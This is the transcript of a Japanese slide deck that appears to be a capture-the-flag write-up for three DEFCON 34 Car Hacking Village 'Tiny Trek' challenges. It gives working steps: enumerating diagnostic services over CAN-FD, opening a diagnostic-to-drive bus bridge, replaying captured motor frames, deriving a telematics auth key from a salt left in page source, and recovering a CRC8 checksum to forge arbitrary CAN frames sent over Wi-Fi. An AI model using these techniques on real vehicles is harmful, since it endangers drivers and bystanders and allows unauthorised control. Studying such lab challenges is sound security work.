Upgrade to Pro — share decks privately, control downloads, hide ads and more …

DEFCON 34 CHV CTF Tiny Trek

Avatar for Takumi Matsuura Takumi Matsuura
September 11, 2026
200

DEFCON 34 CHV CTF Tiny Trek

Avatar for Takumi Matsuura

Takumi Matsuura

September 11, 2026

Transcript

  1. 問題の構成 # 問題 テーマ 1 Do the Diag Dance 診断バスを調査する

    2 Ignore the Bus Behind the Curtain 診断バスから車体を操作する 3 All Your Trek Are Belong to Us 無線だけで車体を操作する •「診断バスへのアクセスが、無線での車体制御につながる」というシナ リオを体験できる流れになっている 2 / 26
  2. 問題 1 — Do the Diag Dance Each vehicle conveniently

    has a diagnostic port on the side, using standard-ish protocols. Explore the interface and see what you can find. You’ll need a CAN-FD adapter or the CHV Badge. • 問題名と問題文から、UDS 問題と推測 3 / 26
  3. UDS の client・server の CAN ID 調査 • UDS を提供する

    CAN ID を調査 $ sudo ip link set can0 up type can bitrate 500000 dbitrate 2000000 fd on $ candump can0 定期送信なし $ cansend can0 7E0#0201000000000000 7E8 03 7F 01 11 応答あり • CAN ID 0x7E0・0x7E8 が UDS の client・server と判明 • (caringcaribou は FD 非対応なのか、使えなかった) 4 / 26
  4. UDS サービス列挙 • SID 0x01 ~ 0xFF までの id 順に送信し応答が

    7F id 11 (serviceNotSupported) でないものを列挙: SID 0x10 0x22 0x31 0x3E サービス DiagnosticSessionControl ReadDataByIdentifier RoutineControl TesterPresent • 0x22, 0x31 は深掘りする必要あり 5 / 26
  5. 0x31 RoutineControl 調査 • 0x0000 ~ 0xFFFF までの RID を順に送信し、応答が

    7F 31 31 (requestOutOfRange) でないものを列挙 (SFID は 01 で固定): RID 応答 0201 7F 31 13 0202 7F 31 33 0203 71 01 0203 1388 incorrectMessageLengthOrInvalidFormat securityAccessDenied 肯定応答 • 所感: ‣ 0201: オプションレコードを足せば中身が読めるはず ‣ 0202: 0x27 SecurityAccess は実装されていないはずだが securityAccessDenied ‣ 0203: 1388 は十進数で 5000 とキリがよい • また、各ルーチンの機能は、この時点では不明 6 / 26
  6. 0x31 RoutineControl 調査 (RID 0201) • 応答は incorrectMessageLengthOrInvalidFormat だった •

    オプションレコードを足して再要求してみる: ‣ 送信: 31 01 0201 01 ‣ 応答: 71 01 0201 464C41477B314438595A4742547D • いかにも ASCII 文字列をエンコードしたような 16 進数値が得られた: $ xxd -r -p <<< 464C41477B314438595A4742547D FLAG{1D8YZGBT} 7 / 26
  7. 問題 2 — Ignore the Bus Behind the Curtain There

    are two busses on the vehicle. You can’t get to the other one through the diagnostic port… or can you? Now that you’ve done the dance, dig a little deeper to unlock further capabilities. • 問題1でアクセスした診断バスから、もう一方のバスにアクセスでき るか?という問題 • 問題 1 解決時点で未確認のままだった点: ‣ 0x22 ReadDataByIdentifier の詳細 ‣ 0x31 RoutineControl の 0202 (なぜ securityAccessDenied?) と 0203 (5000 は何の値か)、各ルーチンの機能 8 / 26
  8. 0x22 ReadDataByIdentifier 調査 • 0x0000 ~ 0xFFFF までの DID を順に送信し、応答が

    7F 22 31 (requestOutOfRange) でないものを列挙: DID 値 (hex) 値 (ASCII) F18C 54542D4543552D30312D3732393742353943 TT-ECU-01-7297B59C F190 54544B5452454B31335443303030303031 TTKTREK13TC000001 F1A0 0111 00000066014B xxxx — 0113 00000066024B xxxx F1A1 3139322E3136382E3234342E313A3239353337 192.168.244.1:29537 • 所感: ‣ F18C, F190, F1A0: 用途不明 ‣ F1A1: .1 の IP アドレスであることから、車体 Wi-Fi のものだと推測 9 / 26
  9. 192.168.244.1 調査 • p.1 記載の SSID / パスワードを用いて車体 AP にアクセスすると、ゲー

    トウェイが 192.168.244.1 と判明 • nmap -sS -p- により以下のポートが空いていることを確認: ポート サービス 22/tcp ssh 80/tcp http 111/tcp rpcbind 29537/tcp unknown 備考 CTF とは無関係 次ページ以降で説明 CTF とは無関係 用途不明 10 / 26
  10. 192.168.244.1:80 調査 • よく分からないので、curl してソースを読む • まずは攻撃面になりうる、REST API を洗い出す: メソッド

    パス GET /api/info GET /events POST /api/flag POST /api/control 機能 車体の状態。ifaces frames repeatMs など SSE。frame log status が流れる {"code": ...} でフラグを redeem {"cmd": ...} で車体を操作 • SSE (Server-Sent Events) が最も情報量が多そうなため、まずは / events を調査する 12 / 26
  11. /events 調査 • 0x31 RoutineControl の詳細は、未だに分からないまま • そこでリクエストを送りながら /events を眺めてみると、各ルーチンの役割が判明:

    RID /events の type:"log" 0201 pivot routine: dir=0x01 steps=102 rpm=75 -> C1 code returned 0202 decoy bridging routine invoked (always refused) 0203 self-test routine: inbound DIAG->DRIVE bridge open for 5s • RID 0203 で診断バスから走行バスへのブリッジをオープンし、車体操作用の CAN フレームを流すことができればフラグが得られそう • 車体操作用の有効な CAN フレームを得られないかを調査していく 13 / 26
  12. 車体操作方法の調査 • RID 0203 が診断バスから走行バスへのブリッジで、RID 0201 が pivot (車体回転) routine

    なのだから、0203 -> 0201 とやれば車体が動くは ず ‣ 実際に動いた。が、フラグが流れてこない – 副次的に、RID 0201 のオプションレコード 0x01 は右回転、0x02 は左回転と判明 ‣ 0x31 備え付けの機能で車体を動かしても「診断バスから走行バスを 触った」とは認めてくれない? 14 / 26
  13. 走行バスの仕様調査 • 走行バスのフレームは /events に流れてこない • しかし上のウェブページのソースに、走行バスのデコーダ decodeNote() がそのまま書かれて いる:

    CAN ID 意味 100 Pi のハートビート 111 左モータ 113 右モータ 115 BMS 電源 116 BMS 状態 ペイロード steps, dir, rpm 同上 01 = ON、02 = OFF 先頭 2 バイト = mV 挙動 直進 後退 左旋回 右旋回 111 113 dir=1 dir=1 dir=2 dir=2 dir=2 dir=1 dir=1 dir=2 • dir は 0 停止 / 1 前進 / 2 後退。左右の組み合わせで挙動が決まる • pivot ルーチンでできるのは左右旋回だけなので、車体を直進させられれば、問題文が求める ものを提出できたと言えそう 15 / 26
  14. DID F1A0 調査 • p.10 で用途不明だった DID F1A0 が、走行バスの仕様が分かったことで読める •

    {2 バイト CAN ID, 8 バイトペイロード} の 10 バイト単位 = ECU が最後に送ったモータ フレームの記録 0111 00000066 01 4B 999D │ │ │ │ └─ 検証用チェックサム? │ │ │ └──── rpm 0x4B = 75 │ │ └─────── dir 01 = 前進 │ └──────────────── steps 0x66 = 102 └───────────────────── CAN ID 0x111 • pivot を叩いた直後に 22 F1 A0 を読めば、そのとき車が送ったフレームがそのまま 採れる 16 / 26
  15. ブリッジ経由でのフレーム注入 • チェックサムの計算方法が不明なため、フレームを自作しても弾かれる • そこで F1A0 から採った本物のフレームを、そのまま再生する: 31 01 0201

    01 → 22 F1 A0 111 の dir=1 を採取 31 01 0201 02 → 22 F1 A0 113 の dir=1 を採取 31 01 0203 ブリッジを 5 秒開く 111 dir=1 と 113 dir=1 のフレームを 連続再生 • 車が直進し、診断バスにフラグが流れてきた: ‣ 7D1#324651595758444D ‣ 7D5#464C41477B324651595758444D7D $ xxd -r -p <<< 464C41477B324651595758444D7D FLAG{2FQYWXDM} 17 / 26
  16. 問題 3 — All Your Trek Are Belong to Us

    Everyone always loves full remote, wireless control of a vehicle fleet, even if it’s a Tiny fleet. Take the leap to wireless control to unlock the final flag. • 無線だけで車体を操縦できるか?という問題 • 問題 2 解決時点で未確認のままだった点: ‣ 29537/tcp の用途 ‣ DID F18C・F190 の用途 ‣ 検証用チェックサムの計算方法 18 / 26
  17. 29537/tcp 調査 • 接続するとバナーが返る: $ nc 192.168.244.1 29537 TTOS-TELEMATICS 1.0

    AUTH <key> to begin. Commands: SEND <id>#<hex>, SUB, UNSUB, PING, QUIT READY • 走行バスへの生 CAN の読み書き口。SEND で送信、SUB で購読 • ただし AUTH の鍵が要る 19 / 26
  18. 認証鍵の導出 • 上のウェブページのソースに、導出式とソルトが平文で書かれている: // key = SHA-256(vin + ":" +

    serial + ":" + FLEET_SALT), hex, first 16 chars // VIN and serial are read from the vehicle over the diagnostic bus. const FLEET_SALT = "dd1b35d820f614e9c94f6a0e4f34cbc3"; • p.10 で用途不明だった F190 が VIN、F18C がシリアルだと判明: $ echo -n "TTKTREK13TC000001:TT-ECU-01-7297B59C:dd1b35d820f614e9c94f6a0e4f34cbc3" \ | sha256sum | cut -c1-16 c070a1263eac9a94 20 / 26
  19. SEND 調査 • SEND はどんなメッセージでも OK queued と返してくるが、実際にバス に流れるのはチェックサムが有効なものだけ: 送ったもの

    応答 SEND 111#00000066014B OK queued SEND 0AA#DEADBEEF OK queued SEND 115#01 OK queued SEND 111#0000000000640504 OK queued バス上 なし なし なし あり 21 / 26
  20. 検証用チェックサムの復元 • 保存したフレームを再送すると、無線だけで車は走るが、フラグは流れてこない • 問題 2 の傾向から、車が一度も送ったことのないフレーム を通す必要がありそう ‣ 末尾

    2 バイトの計算方法を突き止める • 末尾 2 バイトの内訳は、フレームごとに +1 される連番と、検査バイト 1 バイト • 検査バイトを CRC8 と仮定し、CAN ID ごとの XOR 定数を置いたモデルで多項式を 全探索すると一意に決まる (XOR K[id] については補足 p.25 〜 p.26 参照): 検査バイト = CRC8(0x1D, steps・dir・rpm の 6 バイト ‖ 連番) XOR K[id] K = {0x111: 0xDF, 0x113: 0xFD} • 0x1D は CRC-8/SAE-J1850 の生成多項式 22 / 26
  21. 無線のみでの遠隔操縦 • 任意の steps / dir / rpm を持つフレームを鋳造できる: 111#000003E8017842C1

    111#000003E801784200 → → 転送された 破棄 steps=1000 rpm=120 チェックサムを 00 に • 左右とも dir=1 のフレームを鋳造し、SEND で送り続ける • 車が直進し、フラグが流れてきた: ‣ 7D2#334358354537375A ‣ 7D6#464C41477B334358354537375A7D $ xxd -r -p <<< 464C41477B334358354537375A7D FLAG{3CX5E77Z} 23 / 26
  22. 検証用チェックサムの復元 (全探索) • まずは検査バイト以外の全バイトが CRC8 の入力だと仮定して全探索 する: ID 2 バイト

    ‖ steps・dir・rpm ‖ 連番 ID 下位 1 バイト ‖ steps・dir・rpm ‖ 連番 steps・dir・rpm ‖ 連番 ‖ ID 2 バイト steps・dir・rpm ‖ 連番 ‖ ID 下位 1 バイト steps・dir・rpm ‖ 連番 該当多項式無し 該当多項式無し 該当多項式無し 該当多項式無し 該当多項式無し • CAN ID は CRC8 の入力ではないと推測できる 25 / 26
  23. 検証用チェックサムの復元 (CAN ID の分離) • そこで CAN ID は入力ではなく、計算結果に XOR

    される定数だと仮定 し、その値を未知数として式の外に出す: 検査バイト = CRC8(poly, steps・dir・rpm の 6 バイト ‖ 連番) XOR K[id] K[id] は CAN ID ごとに 1 本を選び、CRC8(...) XOR 観測した検査バイト とし て定める • 多項式を全探索し、残り全サンプルで検算すると、通るのは 1 通りだ け: poly = 0x1D K = {0x111: 0xDF, 0x113: 0xFD} CRC-8/SAE-J1850 の生成多項式 26 / 26